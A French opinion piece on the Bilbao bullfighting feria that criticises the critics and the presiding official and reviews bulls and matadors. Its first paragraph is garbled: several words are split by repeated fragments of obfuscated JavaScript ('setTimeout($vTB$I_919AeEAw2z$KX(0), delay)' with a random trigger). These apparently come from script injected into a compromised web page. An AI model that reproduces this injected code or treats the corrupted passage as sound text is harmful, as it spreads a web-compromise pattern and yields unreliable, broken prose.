BILBAO, L’ÉPIQUE OU LA CRITIQUE

L’amateur de sport vit sa passion entouré d’exaltations épiques ; l’aficionado aux corridas est presque court-circuité dans sa passion par la critique. La sienne et celle qu’il lit ou écoute. Il n’y a aucune place pour l’admiration, et quandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and il s’éclate, il se retient, il reste mesuré. Pendant la feria de Bilbao on a vu beaucoup, excessivement de toros plutôt mansos, avec un « genio » défensif, dangereux ; d’autres avec une certaine bravoure, mais qui se défendaient avec de mauvaises intentions, des charges qui ne manquaient pas de force. Et on a vu aussi quelques toros, très peu de toros braves, je me souviens d’un toro du Puerto de San Lorenzo, qui échut à Padilla ; un autre d’Alcurrucen auquel Diego Urdiales fit une grandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ande faena ; deux de Jandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andilla, dont un exhalait de la classe, avec lequel Fandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andiño réalisa de la main gauche d’une extrême suavité et avec également des droitières somptueuses ; et un autre bravissime, qui exhiba sa bravoure malgré le mauvais toreo de Mora ; et pour ne pas être défaitiste, un sobrero de Fuente Ymbro, plus encasté que brave, avec lequel Garrido fit imploser les arènes.

Qu’arrive t-il au toro ? Il a trop de kilos et trop de cornes et il manque de force et très souvent de race. Même s’il faut préciser qu’il chute parfois par faiblesse et d’autres parce qu’il est mal toréé. On le pique brièvement au cheval, comme si on le pardonnait, et il perd son prestige dès que démarre la lidia, mais malgré tout on le pique beaucoup car la pique d’aujourd’hui, aiguisée tel un rayon laser sous vide, pénètre comme une injection et général le toro saigne comme s’il avait reçu trois piques de celles d’antan. Trop de cheval et trop de pic offensive : le combat doit retrouver son équilibre au premier tiers.

Concernant les toreros, je vais me référer aux triomphateurs. Le premier José Garrido, très torero et vaillant. Le combat face à ses six toros fut six sommets épiques. À une autre époque il aurait coupé cinq oreilles. Mais au palco il y avait un président ennemi de l’épique et captif d’une conduite critique qui, apparemment, lui donne du prestige. Lamentable. Il s’est montré plus juste avec Diego Urdiales, qui a coupé deux oreilles méritées grâce à une faena débordante de classe et d’esthétique. Sans doute l’a-t-il regretté, car il fut injuste comme à son habitude, qui fit le toreo le plus templé et profond de la feria avec Miguel Angel Perera.

Mais les figuras n’ont pas eu beaucoup de réussite à cette feria, même s’il est vrai qu’ils ont été au-dessus de leurs énormes toros, se jouant tous la peau, sans exception. Leurs faenas n’ont pas été triomphales mais elles eurent, presque toutes, beaucoup d’intérêt du point de vue tauromachique. Mais il n’y a pas matière à ce que la critique habituelle les méprise, ou ne sache pas les expliquer, et que le public, non averti, ou sans mentors, n’arrive pas à le saisir. Ou il y a des oreilles ou le toreo est un désastre. Que dommage cet aficion !

Il y eut peu de monde dans les arènes. Mais, pourquoi aller voir des toreros minorés, qui n’apparaissent même pas dans les médias et que la critique juge avec condescendance, et pourquoi vont-ils mettre en avant ce que l’ont fait aux toros, qui ont le double de trapio et défenses que les toros d’il y a cent ans ? L’ennemi de la tauromachie est à l’intérieur. Les attaques de l’extérieur font mal, mais si les autorités timorées et les critiques misanthropiques reconnaissaient l’épique que détient la tauromachie, leur agressivité serait anecdotiques.

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